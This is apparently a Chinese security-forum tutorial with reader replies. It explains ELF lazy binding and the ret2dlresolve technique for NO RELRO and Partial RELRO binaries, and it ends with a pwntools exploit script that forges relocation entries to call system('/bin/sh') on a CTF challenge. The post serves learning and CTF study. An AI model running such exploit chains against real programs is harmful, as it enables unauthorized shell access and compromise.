ybw4cry 发表于 2022-1-1 20:54

理解ret2dlsolve和函数地址解析过程

ELF在执行时,许多函数的地址是lazy binding的,即在第一次调用时才会解析其地址并填充至`.got.plt`,这个过程是在`.plt`里面完成的

> 文章中用到的程序是用[这个仓库](https://github.com/bash-c/pwn_repo)里面的源码进行编译的
>
> 然后有些地方参考了ctf-wiki,当时看完wiki不是很理解,最后一咬牙把这个方法看完了,希望我的理解过程能帮助更多的人,欢迎评论。

## 解析函数地址



上面两张图解释了函数地址在函数第一次调用的时候是如何解析的,但是还不足以理解ret2dlsolve
因为我们需要了解ld.so里面执行的一些东西

### 重定位表


> 重定位表对应.rel.plt段,也是readelf -r会显示的内容

得到偏移,进入dlsolve之后程序根据偏移找到对应的`重定位表项`,从途中可以看出条目由`函数的got`和`r_info`构成

### 符号表


> 符号表对应.dynsym段,也是readelf -x会显示的内容

符号表中的条目如图所示,对于write的条目,我们可以看到有6个,展开之后是这样:


`0x4C`就是字符串对于字符串表的偏移

### 动态字符串表

> 动态字符串表对应.dynstr段,上图已经给出


## elf head 相关知识

在了解ret2dlsolve之前,我们需要先了解一些elf头的知识☝️
readelf用于帮助我们解析头部信息

```shell
# 常用的指令&含义
readelf -r # Display the relocations
readelf -d # Display the dynamic section
readelf -s # Display the symbol table
```

**符号表(sym table)的定义:**

```c
typedef struct
{
Elf32_Word    st_name;   /* Symbol name (string tbl index) */
Elf32_Addr    st_value;/* Symbol value */
Elf32_Word    st_size;   /* Symbol size */
unsigned char st_info;   /* Symbol type and binding */
unsigned char st_other;/* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx;/* Section index */
} Elf32_Sym;
```

## 从x86入手


上面的指令对应ida中的内容:



### call read@plt

看一下重定位信息:

```shell
$ readelf -r bof32

Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
Offset   Info    Type            Sym.ValueSym. Name
080496fc00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
Offset   Info    Type            Sym.ValueSym. Name
0804970c00000107 R_386_JUMP_SLOT   00000000   read 0804971000000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804971400000307 R_386_JUMP_SLOT   00000000   __libc_start_main
0804971800000407 R_386_JUMP_SLOT   00000000   write
```

结合上面的`Elf32_Rel`的结构体定义和下面的地址,可以看出Offset就是read函数在`.got.plt`中的地址
`r_info`则保存的是其类型和符号序号,具体保存的是什么信息能够结合宏定义推出,这里不赘述。

```shell
    0x80482e0:   push   DWORD PTR ds:0x8049704
    0x80482e6:   jmp    DWORD PTR ds:0x8049708
    ...
gdb-peda$ x/3i read:
    0x80482f0 <read@plt>:    jmp    DWORD PTR ds:0x804970c (read@got.plt)
    0x80482f6 <read@plt+6>:push   0x0
    0x80482fb <read@plt+11>: jmp    0x80482e0
    ...
    0x804970c <read@got.plt>:       0x080482f6
```

在第一次调用时,`jmp read@got.plt`会跳回`read@plt`,这是我们已经知道的。接下来,会将参数push到栈上并跳至`.got.plt+0x8`,这相当于调用以下函数:

```c
_dl_runtime_resolve(link_map, rel_offset);
```

我们知道参数是从右至左压栈的,所以第一个压栈的`0`就是`rel_offset`,第二个压栈的常量指针就是`link_map`
**该函数的工作原理:**

- 根据`rel_offset`,找到**重定位表**中的**重定位条目**


- 根据`rel_entry`中的**动态符号表**条目编号,条目编号就是0x107中的`1`,我们就找符号表中第一条就行,得到对应的符号信息


- 再根据符号信息中的`偏移`找到符号名称【也叫**动态字符串**】(比如说`'read'`)
- 由此名称,搜索动态库
- 找到地址后,填充至`.got.plt`对应位置
- 调整栈,调用这一解析得到的函数

**重定位表项、动态符号表、动态字符串表**都是从目标文件中的动态节 .dynamic 索引得到的


### 攻击思路

`linker`使用`_dl_runtime_resolve(link_map_obj, reloc_offset)`来进行重定位
我们要`控制相应的参数`及其`对应地址的内容`

#### 思路1 -- 直接控制重定位表项的相关内容

**dl_solve**根据符号的名字进行解析,直接修改**动态字符串表**`.dynstr`
但是,`动态字符串表、动态符号表、重定位表项`都是只读的。
所以可以伪造合适的重定位偏移
**这个貌似是**`**Parital RELRO**`**的思路**
**​**

#### 思路2 -- 间接控制重定位表项的相关内容

既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
**这个思路貌似是**`**NO RELRO**`**的攻击思路**
**​**

#### NO RELRO

没有保护的时候.dynamic是可写的
modify .dynstr pointer in .dynamic section to a specific location
我们构造一段假的动态字符串表,然后把指针指过去就行了


我们控制下的程序流:
push offset;
jmp2plt0;
解析; // 这里解析的话就会使用我们更改的动态字符串表

#### Parital RELRO

我们控制offset,解析之后指向我们构造的重定位项
重定位项由got和r_info组成


1. 将栈迁移到 bss 段

2. 构造offset 使解析offset之后得到的重定位表项落在ropchain中(这里的offset对应plt里函数的offset)

- 原来的时候 [.rel.plt + offset] = got
   
3. 构造重定位表项 使解析后的 `符号表项`落在ropchain中

4. 构造符号表项 使解析后的 `动态字符串`落在ropchain中

5. 把动态字符串改成"system",传入参数"/bin/sh"就能getshell了


## 使用工具进行ret2dlsolve

一般就是用pwntools构造,roputils不支持python3,希望有人接盘吧

然后我们需要去理解工具在构造的过程中做了什么

```python
from mmap import mmap
from helper import *
import helper
import re
abbre(globals(), io, loader) # 此处定义了常用的缩写
# helper就是我自己对pwntools的封装,大家不必在意


dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
ru(b"Welcome to XDCTF2015~!\n")

# 0x0000:      0x80490a4 read(0, 0x804be00) # size=0x8049030
# 0x0004:      0x8049352 <adjust @0x10> pop edi; pop ebp; ret # 吃掉 arg0 和 arg1
# 0x0008:            0x0 arg0
# 0x000c:      0x804be00 arg1, `addr of payload_2`
# 0x0010:      0x8049030 system(0x804be20)
# 0x0014:         0x3a98 -> 重定位表项: 0x804be18 <- <0x0804be00, 0x3be07>
                                              # 符号表项 0x804be08 (0x8048228 + 0x3be0)
                                              # 动态字符串 0x3b38 + 0x80482c8 = 0x804be00
# 0x0018:          b'gaaa' <return address>
# 0x001c:      0x804be20 arg0               # /bin/sh for system

rop = ROP(elf)
rop.raw(dlresolve.payload)
print("======================")
print(rop.dump())    # 这里你可以看到后面的payload是什么样子

payload = flat({112:raw_rop})
s(payload)
s(dlresolve.payload)
shell()
```

可以看出和上面我们分析出来的思路大体上是一致的

这个洞对我来说还是比较复杂,文章模糊不清的地方欢迎指正,如有不足,多多包涵

Hmily 发表于 2022-1-13 16:07

@ybw4cry 帖子图片开始有问题,看起来你重新上传本地,但没删除之前的图片地址,我帮你编辑了。

Li1y 发表于 2022-1-2 12:17

图片顺序错了

xiaowoaini 发表于 2022-1-12 12:21

学习加分享

sxhzsj 发表于 2022-1-15 17:21

楼主辛苦,谢谢分享!

404undefined 发表于 2022-1-17 01:07

楼主辛苦,谢谢分享!

Muan 发表于 2022-1-21 11:10

学习加分享,楼主辛苦

梵天不是神 发表于 2022-1-24 20:53

楼主辛苦。            

xunxunmimi0936 发表于 2022-1-28 14:42

楼主辛苦了、

he58394835 发表于 2022-3-24 10:10


感谢分享
页: [1] 2
查看完整版本: 理解ret2dlsolve和函数地址解析过程